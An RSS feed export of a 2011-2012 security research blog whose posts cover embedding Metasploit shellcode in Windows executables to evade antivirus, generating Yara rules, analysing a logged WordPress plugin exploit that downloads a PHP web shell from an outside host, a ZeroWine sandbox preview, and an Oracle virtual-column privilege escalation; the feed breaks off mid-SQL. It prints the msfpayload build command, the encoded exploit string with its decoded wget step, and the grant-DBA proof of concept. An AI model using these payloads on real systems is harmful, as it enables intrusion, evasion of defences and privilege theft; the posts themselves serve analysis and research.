<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unintended Results &#187; Uncategorized</title>
	<atom:link href="http://joxeankoret.com/blog/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://joxeankoret.com/blog</link>
	<description>Or maybe not</description>
	<lastBuildDate>Sun, 06 May 2012 08:20:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Embedding a shellcode in a PE file</title>
		<link>http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/</link>
		<comments>http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/#comments</comments>
		<pubDate>Sun, 06 May 2012 08:20:31 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=507</guid>
		<description><![CDATA[Some time ago a friend asked in a private mailing list about possible ways to embed a shellcode in one executable file (PE) and ways to bypass AV detection. I recommended him to use any Windows supplied PE file (or any other 'goodware' PE file) and patching some "always called function" with the shellcode. It [...]]]></description>
			<content:encoded><![CDATA[<p>Some time ago a friend asked in a private mailing list about possible ways to embed a shellcode in one executable file (PE) and ways to bypass AV detection. I recommended him to use any Windows supplied PE file (or any other 'goodware' PE file) and patching some "always called function" with the shellcode. It turned out to be one of the many  possible AV evasion techniques that seems to work in many cases. The unique problem was that there is no tool to do this, so I decided to write one tool (based on <a href="http://pyew.googlecode.com">Pyew</a>) for doing this task.</p>
<p><span id="more-507"></span></p>
<p>The exact command line he sent to the mailing list of the tool he was running for creating the PE with the shellcode embed was this one:</p>
<p><code><br />
$ ./msfpayload windows/meterpreter/reverse_https LHOST=www.xxx.com LPORT=666 R | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t raw -e x86/alpha_upper -c 2 | ./msfencode -t raw -e x86/shikata_ga_nai -c 5 | ./msfencode -t exe -c 5 -e x86/countdown -o xxx.exe<br />
</code></p>
<p>A file created like this was easily detected by many AV engines as you may see <a href="https://www.virustotal.com/file/c24ff54baa080bdef404420a888332cd6d5eb7f6b6a8df58524c406e7bc19e63/analysis/1336290083/">here</a>. In the VirusTotal report, you will notice that 30 out of 42 AV engines detected this sample. However, using the tool I created based on Pyew to embed the shellcode in a PE file <a href="https://www.virustotal.com/file/bc89ab085a623403a1d523cfe3e9171f5a3369bba08a0e83301d52663b939ac4/analysis/1336291266/">it changes a "bit"</a>. In this case, only one AV engine detects "something": eSafe says there is a "Virus in password protected archive". The following is the output of running the tool I wrote:</p>
<pre>$ python shellcode_patch.py test/files/sample.exe msf/xxx.sc test/files/out.exe</pre>
<pre>[+] Loading and analysing file test/files/sample.exe
PE Information

Sections:
.text 0x1000 0x5e70 24576
.rdata 0x7000 0x3b4a 16384
.data 0xb000 0x2a60 8192
.rsrc 0xe000 0x1258 8192

Entry Point at 0x6cdf
Virtual Address is 0x406cdf
Code Analysis ...
Analyzing address 0x00006e5f - 0 in queue / 57 totall
[i] Total of 57 function(s) found in PE file
[i] Entry point function start at 0x00006cdf
[i] Function at offset 0x00003be8 will be patched
[+] Writing output file test/files/out.exe
[+] All finished!</pre>
<p><strong>The tool</strong></p>
<p>You may download the script I wrote for Pyew <a href="http://code.google.com/p/pyew/source/browse/shellcode_patch.py">here</a>. But, obviously, it requires Pyew in order to run (you need to download the latest version from the Mercurial repository as it required to do some changes to code analysis engine as well as adding support for calculating the callgraph and all the flowgraphs). This easy script receives 3 arguments: the base PE file, the shellcode to embed and an output file. The tool loads the initial PE file, performs code analysis, finds a random function that is called from the entry point following some path, overwrites this function, changes the PE section's privilege accordingly (the shellcode will probably need to write data in this section) and writes the output file. And that's all! It's ~100 lines of code but with many checks and comments.</p>
<p><strong>Possible future improvements</strong></p>
<p>This is a quick script for doing this task. However, a more powefull one could be written with little effort. For example, instead of completely overwriting a function, we could embed the shellcode in the holes between functions and patch one function's prolog to call the shellcode and then return to the original function, for example.</p>
<p>Remember: If you want to use this tool you need to download the latest Pyew version from the Mercurial's repository.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Extracting binary patterns in malware sets and generating Yara rules</title>
		<link>http://joxeankoret.com/blog/2012/04/29/extracting-binary-patterns-in-malware-sets-and-generating-yara-rules/</link>
		<comments>http://joxeankoret.com/blog/2012/04/29/extracting-binary-patterns-in-malware-sets-and-generating-yara-rules/#comments</comments>
		<pubDate>Sun, 29 Apr 2012 11:58:20 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=208</guid>
		<description><![CDATA[Some time ago a friend and I were talking about how to create a tool to compare a set of malware samples and extract the binary patterns matched in all or most of the samples. Searching for diffing algorithms I found out some very interesting books on the matter like "O(ND) Difference Algorithm and its [...]]]></description>
			<content:encoded><![CDATA[<p>Some time ago a friend and I were talking about how to create a tool to compare a set of malware samples and extract the binary patterns matched in all or most of the samples. Searching for diffing algorithms I found out some very interesting books on the matter like "<a href="http://www.xmailserver.org/diff2.pdf">O(ND) Difference Algorithm and its Variations</a>" and many utility libraries for diffing like <a href="http://code.google.com/p/google-diff-match-patch">Google Diff Match Patch</a>. Finally, I decided to write a test tool using this library and ended up with an automatic Yara signatures generator.</p>
<p><span id="more-208"></span></p>
<p>The tool I wrote in Python is far from efficient (it's slow) but "works". The tool does the following:</p>
<ol>
<li>Read all the files of a directory given via the command line.</li>
<li>Diff all the files and save the matching blocks for later analysis.</li>
<li>Compare and save the blocks matched in, at least, 70% of the samples with a minimum size of 5 bytes.</li>
<li>Print out the similar blocks.</li>
</ol>
<p>For the test I used a set of (old) malwares packed with AutoIt. The following is a sample Yara rule generated by this tool:</p>
<pre>$ ./tester.py malware/autoit/
CFileDiffer: Diffing a total of 10 file(s)
CFileDiffer: Diffing file 1 out of 10
CFileDiffer: Diffing file 2 out of 10
CFileDiffer: Diffing file 3 out of 10
CFileDiffer: Diffing file 4 out of 10
CFileDiffer: Diffing file 5 out of 10
CFileDiffer: Diffing file 6 out of 10
CFileDiffer: Diffing file 7 out of 10
CFileDiffer: Diffing file 8 out of 10
CFileDiffer: Diffing file 9 out of 10
CFileDiffer: Diffing file 10 out of 10

rule test : test
{
strings:
  $a = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
  $b = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 }
  $c = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
  $d = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 }
  $e = "AU3!EA06"
  $f = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cc 83 dc 28 ad ed 8f 28 ad ed 8f 28 ad ed 8f 95 e2 7b 8f 2a ad ed 8f 21 d5 69 8f 1c ad ed 8f 21 d5 6e 8f 9d ad ed 8f 0f 6b 80 8f 22 ad ed 8f 0f 6b 96 8f 09 ad ed 8f 28 ad ec 8f 2b af ed 8f 21 d5 62 8f 6f ad ed 8f 21 d5 78 8f 37 ad ed 8f 36 ff 78 8f 29 ad ed 8f 36 ff 79 8f 29 ad ed 8f 21 d5 7c 8f 29 ad ed 8f 52 69 63 68 28 ad ed 8f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 }

condition:
  ($c) or        // Matches a total of 8 file(s) out of 10
  ($a and $d) or // Matches a total of 10 file(s) out of 10
  ($f) or        // Matches a total of 3 file(s) out of 10
  ($b) or        // Matches a total of 4 file(s) out of 10
  ($e)           // Matches a total of 7 file(s) out of 10
}</pre>
<p>&nbsp;</p>
<p>This tool doesn't generate a rule to match the whole set but, rather, generates rules to match subsets of the given set. For example, the string"AU3!EA06" (rule $e) is matched in 7 files out of the 10 files set I ran the tool against, it doesn't match against the whole set. Indeed, the unique rule that matches the whole set is the 2nd one ($a and $d). However, this rule is not very useful, to be honest: It just matches a bunch of '\0' characters and the initial bytes of the PE header.</p>
<p>You can download the tool <a title="AutoRule" href="http://www.joxeankoret.com/download/autorule.tar.gz">here</a>. I hope you find it useful!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2012/04/29/extracting-binary-patterns-in-malware-sets-and-generating-yara-rules/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automated or manual attack?</title>
		<link>http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/</link>
		<comments>http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/#comments</comments>
		<pubDate>Sun, 04 Dec 2011 17:55:48 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=250</guid>
		<description><![CDATA[Today I received a notification about an automated attack against this blog. Nothing new, however, I was curious about how it exactly works and decided to take a brief look to the attack to answer various questions: What vulnerability is this exploiting? Am I vulnerable? What does the payload? Is this an automated attack or [...]]]></description>
			<content:encoded><![CDATA[<p>Today I received a notification about an automated attack against this blog. Nothing new, however, I was curious about how it exactly works and decided to take a brief look to the attack to answer various questions:</p>
<ul>
<li>What vulnerability is this exploiting? Am I vulnerable?</li>
<li>What does the payload?</li>
<li>Is this an automated attack or a manually launched one?</li>
</ul>
<p><strong>The attack in the logs</strong></p>
<p>Since I installed <a href="http://wordpress.org/extend/plugins/mute-screamer/">mute screamer</a> plugin for WordPress I receive regularly attack alerts (mainly about spamming). The one I received today was a bit different. In the generated log file the following line appears:</p>
<blockquote><p>/blog/engine.php?action=log-reset&amp;type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5zY2sub2JlY3ZyYm92LnNrL3dwLWNvbnRlbnQvdXBsb2Fkcy9mZ2FsbGVyeS9zaC50eHQ7IG12IHNoLnR4dCBsb2cucGhwJyk7));</p></blockquote>
<p>So, this is an exploit for a PHP code injection vulnerability in "engine.php". A quick search of the vulnerability revealed this: <a href="http://www.securityfocus.com/bid/47883">WordPress is_human() Plugin Remote Command Injection Vulnerability</a>. Fortunately, I don't have this plugin installed so I already answered the first 2 questions. Time to answer the next one: what the payload does?</p>
<p><span id="more-250"></span></p>
<p><strong>Analyzing the payload</strong></p>
<p>In the generated log file we clearly see what code is the exploit trying to inject, in base64 format. Decoding it we get the following code:</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> <span class="kw1">import</span> <span class="kw3">base64</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> <span class="kw3">base64</span>.<span class="me1">b64decode</span><span class="br0">&#40;</span><span class="st0">&quot;cGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5zY2sub2JlY3ZyYm92LnNrL3dwLWNvbnRlbnQvdXBsb2Fkcy9mZ2FsbGVyeS9zaC50eHQ7IG12IHNoLnR4dCBsb2cucGhwJyk7&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;passthru(&#39;wget http://www.sck.obecvrbov.sk/wp-content/uploads/fgallery/sh.txt; mv sh.txt log.php&#39;);&quot;</span></div>
</li>
</ol>
</div>
<p>The function <a href="http://php.net/manual/en/function.passthru.php">passthru</a> executes an operating system command and returns to the browser the output of the command (anyway, it isn't being used in this particular exploit). So, the attacker is downloading a backdoor and copying to log.php. The file the exploit downloads looks like this:</p>
<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$auth_pass</span> <span class="sy0">=</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$color</span> <span class="sy0">=</span> <span class="st0">&quot;#df5&quot;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$default_action</span> <span class="sy0">=</span> <span class="st0">&#39;FilesMan&#39;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$default_use_ajax</span> <span class="sy0">=</span> <span class="kw2">true</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$default_charset</span> <span class="sy0">=</span> <span class="st0">&#39;Windows-1251&#39;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">preg_replace</span><span class="br0">&#40;</span><span class="st0">&quot;/.*/e&quot;</span><span class="sy0">,</span><span class="st0">&quot;<span class="es0">\x</span>65<span class="es0">\x</span>76<span class="es0">\x</span>61<span class="es0">\x</span>6C<span class="es0">\x</span>28<span class="es0">\x</span>67<span class="es0">\x</span>7A<span class="es0">\x</span>69<span class="es0">\x</span>6E<span class="es0">\x</span>66<span class="es0">\x</span>6C<span class="es0">\x</span>61<span class="es0">\x</span>74<span class="es0">\x</span>65<span class="es0">\x</span>28<span class="es0">\x</span>62<span class="es0">\x</span>61<span class="es0">\x</span>73<span class="es0">\x</span>65<span class="es0">\x</span>36<span class="es0">\x</span>34<span class="es0">\x</span>5F<span class="es0">\x</span>64<span class="es0">\x</span>65<span class="es0">\x</span>63<span class="es0">\x</span>6F<span class="es0">\x</span>64<span class="es0">\x</span>65<span class="es0">\x</span>28&#39;[[BASE64 CODE]]&#39;<span class="es0">\x</span>29<span class="es0">\x</span>29<span class="es0">\x</span>29<span class="es0">\x</span>3B&quot;</span><span class="sy0">,</span><span class="st0">&quot;.&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p>OK, looking to this it's clear that the function preg_replace is executing something but, what and how? My guess was that the "/e" modifier for the regular expression was for executing PHP code for a match and I was right. The code that is executed for every match (and it matches the complete buffer passed to preg_replace as the regex is ".*") is the following:</p>
<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">eval</span><span class="br0">&#40;</span><span class="kw3">gzinflate</span><span class="br0">&#40;</span><span class="kw3">base64_decode</span><span class="br0">&#40;</span><span class="br0">&#91;</span><span class="br0">&#91;</span>BASE64 CODE<span class="br0">&#93;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>OK, the code is base64 encoded and also compressed with Gzip. Let's decode and decompress it:</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> x = <span class="kw3">base64</span>.<span class="me1">b64decode</span><span class="br0">&#40;</span><span class="st0">&quot;7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jT...AYT72vwA=&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> <span class="kw1">import</span> <span class="kw3">zlib</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> ungziped_str = <span class="kw3">zlib</span>.<span class="me1">decompressobj</span><span class="br0">&#40;</span><span class="br0">&#41;</span>.<span class="me1">decompress</span><span class="br0">&#40;</span><span class="st0">&#39;x<span class="es0">\x</span>9c&#39;</span> + x<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&gt;&gt;&gt;</span> <span class="kw1">print</span> ungziped_str<span class="br0">&#91;</span>:<span class="nu0">100</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span>empty<span class="br0">&#40;</span>$_SERVER<span class="br0">&#91;</span><span class="st0">&#39;HTTP_USER_AGENT&#39;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> $userAgents = <span class="kw3">array</span><span class="br0">&#40;</span><span class="st0">&quot;Google&quot;</span>, <span class="st0">&quot;Slurp&quot;</span>, <span class="st0">&quot;MSNBot&quot;</span>, <span class="st0">&quot;ia_archi...</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p>OK, finally we have the real code that will be executed! A copy of the unobfuscated and formatted source is <a href="http://pastie.org/1058996">here</a>. This is a common web shell typically used in automated attacks.</p>
<p><strong>Conclussion</strong></p>
<p>I cannot be 100% sure if it was an automated or a manual attack but, my guess, is that this was simply a blind automated attack launched against many web sites and, among them, this blog.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2011/12/04/automated-or-manual-attack/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Zerowine 2.0 preview</title>
		<link>http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/</link>
		<comments>http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 21:14:46 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=190</guid>
		<description><![CDATA[Hi! I plan to release in a month or so the newest version of ZeroWine focused on automation. This new version consists in the following components: A modified version of Wine 1.10. One XMLRPC Server. One XMLRPC client tool. WINE Changes Wine was patched to add more debugging channels and to remove noise from the [...]]]></description>
			<content:encoded><![CDATA[<p>Hi!</p>
<p>I plan to release in a month or so the newest version of ZeroWine focused on automation. This new version consists in the following components:</p>
<blockquote>
<ul>
<li>A modified version of Wine 1.10.</li>
<li>One XMLRPC Server.</li>
<li>One XMLRPC client tool.</li>
</ul>
</blockquote>
<p><span id="more-190"></span><br />
<strong>WINE Changes</strong></p>
<p>Wine was patched to add more debugging channels and to remove noise from the output of ZeroWine as in the previous version the behavior reports were not as good as people wanted. In this version, however, the following new debugging channels were added to Wine:</p>
<p><strong>humanmalware</strong>: Shows a human understandable message about what the malware did.<br />
<strong> malware</strong>: A more technical message about what was done.<br />
<strong>malwarelibs</strong>: Libraries loaded by the malware.<br />
<strong>malwaredump</strong>: Dump network data.<br />
<strong>regmalware</strong>: Dump every registry operation (very noisy).</p>
<p>The following is an example report's extract generated with the latest version of ZeroWine:</p>
<pre>0009:malware:Call to CreateMutex(L"_AVIRA_21099") returned 72
0009:humanmalware:Creating mutex L"_AVIRA_21099"
0009:malware:Call to CreateToolhelp32Snapshot(2)
0009:humanmalware:Enumerating system processes (this may indicate anti-tracing activity)
0009:malware:Call to NtQuerySystemInformation(SystemProcessInformation)
0009:humanmalware:Process enumerates running processes (this may indicate anti-debugging and anti-monitoring activity)
0009:malware:Call to GetFileAttributesW ( L"C:\\windows\\system32" )
0009:malware:Call to SetFileAttributesW ( L"C:\\windows\\system32\\sdra64.exe", 32 )
0009:malware:Call to DeleteFileW ( L"C:\\windows\\system32\\sdra64.exe" ) failed with error code -1073741772
0009:humanmalware:Deleting file L"C:\\windows\\system32\\sdra64.exe" failed with error code -1073741772
0009:malware:Call to CopyFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", L"C:\\windows\\system32\\sdra64.exe")
0009:humanmalware:Copying file L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe" to L"C:\\windows\\system32\\sdra64.exe"
0009:malware:Call to CreateFileW(L"Z:\\tmp\\vir\\62bb9091a3c7e692e26b3061cce67595\\malware.exe", GENERIC_READ FILE_SHARE_READ FILE_SHARE_WRITE , creation 3 attributes 0x0)
</pre>
<p><strong>Zerowine XMLRPC Server</strong></p>
<p>The XMLRPC server (zerowined) that will be distributed with ZeroWine 2.0 is a very simple python script that serves as a gateway between the VM and the client application. The sample client application (xmlrpc_client.py) receives the following arguments:</p>
<pre>$ ./xmlrpc_client.py
Usage: ./xmlrpc_client.py &lt;url | auto&gt; &lt;filename&gt; &lt;output directory&gt;
</pre>
<p>The very first argument the client application receives is the URL of the XMLRPC server to connect or the keyword "auto" which means that a server from the list of servers stored in the file ''servers.conf' must be selected randomly (as you may have a lot of ZeroWine VM servers distributed in your organization). The next argument is the "malware file" to be analyzed and the last argument a directory where all the data gathered by ZeroWine 2.0 will be stored. In this version, the data we gather is the following:</p>
<blockquote>
<ul>
<li>A memory dump of every running process (there may be more than just one malware running at the same time).</li>
<li>A behavior report.</li>
<li>A *.tar.gz file with every file either created or modified.</li>
</ul>
</blockquote>
<p>And that's all! The new version will be released (if all goes well) in a month. Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/10/22/zerowine-2-0-preview/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Dangers of Oracle Virtual Columns</title>
		<link>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/</link>
		<comments>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/#comments</comments>
		<pubDate>Fri, 14 May 2010 22:50:13 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=144</guid>
		<description><![CDATA[Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too. What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wiki.oracle.com/page/Virtual+Columns">Virtual Columns</a> is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it's useful it can be dangerous too.<br />
<span id="more-144"></span></p>
<p>What happens if someone creates a table column based on a "malicious" PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user "JOXEAN", like in the following sample:</p>
<div class="geshi no sql">
<div class="head">SQL&gt; create user joxean identified by joxean;</div>
<ol>
<li class="li1">
<div class="de1">User created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">GRANT</span> connect, resource <span class="kw1">TO</span> joxean;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">GRANT</span> succeeded.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; conn joxean/joxean</div>
</li>
<li class="li1">
<div class="de1">Connected.</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">CREATE</span> <span class="kw1">OR</span> <span class="kw1">REPLACE</span> <span class="kw1">FUNCTION</span> F1 <span class="br0">&#40;</span>p_value <span class="kw1">IN</span> VARCHAR2<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">RETURN</span> VARCHAR2 AUTHID CURRENT_USER deterministic</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">AS</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; PRAGMA AUTONOMOUS_TRANSACTION;</div>
</li>
<li class="li1">
<div class="de1">BEGIN</div>
</li>
<li class="li1">
<div class="de1">&nbsp; EXECUTE IMMEDIATE <span class="st0">&#39;grant dba to joxean&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">RETURN</span> <span class="st0">&#39;1&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">END F1;</div>
</li>
<li class="li1">
<div class="de1">/</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">FUNCTION</span> created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">CREATE</span> <span class="kw1">TABLE</span> t2</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; col1 VARCHAR2<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; col2 generated always <span class="kw1">AS</span> <span class="br0">&#40;</span>f1<span class="br0">&#40;</span><span class="st0">&#39;asdf&#39;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> virtual</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">TABLE</span> created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2;</div>
</li>
<li class="li1">
<div class="de1">no rows selected</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">INSERT</span> <span class="kw1">INTO</span> t2 <span class="br0">&#40;</span>col1<span class="br0">&#41;</span> <span class="kw1">VALUES</span> <span class="br0">&#40;</span> <span class="st0">&#39;a&#39;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="nu0">1</span> row created.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; commit;</div>
</li>
<li class="li1">
<div class="de1">Commit complete.</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">SELECT</span> * <span class="kw1">FROM</span> t2</div>
</li>
<li class="li1">
<div class="de1">*</div>
</li>
<li class="li1">
<div class="de1">ERROR at line <span class="nu0">1</span>:</div>
</li>
<li class="li1">
<div class="de1">ORA<span class="nu0">-01031</span>: insufficient privileges</div>
</li>
<li class="li1">
<div class="de1">ORA<span class="nu0">-06512</span>: at <span class="st0">&quot;JOXEAN.F1&quot;</span>, line <span class="nu0">6</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> user_role_privs;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">USERNAME &nbsp; &nbsp; &nbsp; &nbsp; GRANTED_ROLE &nbsp; &nbsp; &nbsp; &nbsp;ADM DEF OS_</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">------------------------------ ------------------------------ --- --- ---</span></div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CONNECT &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES NO</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RESOURCE &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES NO</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
